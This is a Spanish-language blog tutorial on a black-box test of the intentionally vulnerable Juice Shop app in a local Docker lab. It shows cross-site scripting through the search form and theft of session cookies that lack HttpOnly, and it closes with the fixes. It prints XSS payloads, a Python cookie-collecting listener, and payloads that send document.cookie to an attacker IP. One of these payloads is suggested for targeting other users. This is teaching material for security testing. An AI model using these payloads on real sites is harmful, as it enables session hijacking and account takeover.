En el siguiente artículo voy a mostrar como hacer una prueba de caja negra a una aplicación web vulnerable, aprovechando una mala configuración de las cookies e incorrecta sanitización de los inputs de los formularios.
Desde exploitables.es queremos informar que el artículo es publicado con fines educativos y no nos hacemos responsables del mal uso que se le pueda dar.
Vamos a usar la aplicación “Juice Shop” la cual se puede encontrar en el siguiente enlace:
https://github.com/juice-shop/juice-shop
Para montar la imagen voy a usar docker, aunque puedes usar múltiples opciones como despliegue en Heroku, Vagrant, Instancia EC2 en AWS, Instancia en contenedor de Azure...
Primero descargamos la imagen de docker con el siguiente comando:
docker pull bkimminich/juice-shop
Posteriormente iniciamos el contenedor:
docker run --rm -p 3000:3000 bkimminich/juice-shop
Ahora nos dirigimos hacia el navegador y a través de localhost por el puerto 3000 comprobamos que la aplicación funciona:
Para hacer la prueba necesitamos un usuario, así que lo creamos e iniciamos sesión con él:
Una vez hemos iniciado sesión, vamos a abrir las herramientas de desarrollador de nuestro navegador. Nos dirigimos hacia "Almacenamiento > Cookies":
Podemos observar que el atributo "HttpOnly" está puesto en false. ¿Qué quiere decir esto? Que podemos acceder a la cookie desde el lado del cliente, lo cual es una vulnerabilidad que vamos a explotar a continuación.
Vamos a usar el formulario de búsqueda, ya que normalmente estos formularios no suelen estar muy sanitizados sobre todo cuando hay un sólo desarrollador o un equipo pequeño detras. Intentaremos ver si nos permite introducir código javascript usando el siguiente comando:
<script>alert(document.cookie);</script>
El resultado no es exitoso ya que no salta el alert.
Tenemos otra forma de intentar inyectar código javascript y es a través de un iframe, por lo que intentamos a través del siguiente código:
<iframe src="javascript:alert(document.cookie);">
Ahora sí podemos observar que ha dado buenos resultados y nos está mostrando nuestro token de inicio de sesión.
En el siguiente script lo único que tenemos que hacer es sustituir en la línea 25 la ip del atacante por la nuestra y si queremos, el puerto de escucha.
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import urlparse, parse_qs
from datetime import datetime
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
query_components = parse_qs(urlparse(self.path).query)
print ""
print "%s - %s\t%s" % (
datetime.now().strftime("%Y-%m-%d %I:%M %p"),
self.client_address[0],
self.headers['user-agent'])
print "-------------------"*6
for k, v in query_components.items():
print "%s\t\t\t%s" % (k.strip(), v)
return
def log_message(self, format, *args):
return
if __name__ == "__main__":
try:
server = HTTPServer(('IP ATACANTE', 8888), MyHandler)
print('Started http server')
server.serve_forever()
except KeyboardInterrupt:
print('^C received, shutting down server')
server.socket.close()
Ejecutamos el script (en este caso usando la versión 2 de phyton), ponemos en escucha al servidor y realizamos un ataque un poco más silencioso en el que no salte ningún alert:
<iframe src="var i = new Image; i.src='http://192.168.1.189:8888/?' + document.cookie;" />
Sustituimos la IP por la de nuestro servidor y el puerto que tengamos asignado en escucha.
Ahora introducimos el código en el formulario de búsqueda y observamos el resultado:
A partir de aquí la imaginación es infinita. Se puede usar en formularios donde subamos una imagen y cuando el usuario haga click en ella, nos mande su token, por ejemplo con el siguiente script:
<img src=x onerror="this.src='http://192.168.1.189:8888/?'+document.cookie; this.removeAttribute('onerror');">
Configurando correctamente las cookies con el atributo "HttpOnly" en true y sanitizando todo lo que entra a través de los inputs de los formularios de la web.
Hemos comprobado cómo de una forma sencilla se pueden robar cookies de inicio de sesión a través de inyección de código javascript, por una mala sanitización de los inputs y por una incorreta configuración de las cookies. Algo tan sencillo a simple vista que deberíamos tener en cuenta en cualquier desarrollo muchas veces es pasado por alto, por lo que no es muy difícil dar con sitios webs con estas malas configuraciones.
Debes estar logueado para dejar un comentario
Exploitables es una comunidad de ciberseguridad y tecnología nacida en Málaga. Queremos compartir conocimientos de manera desinteresada.
Vulnerabilidades comunes en código PHP - Parte 1 - Exploitables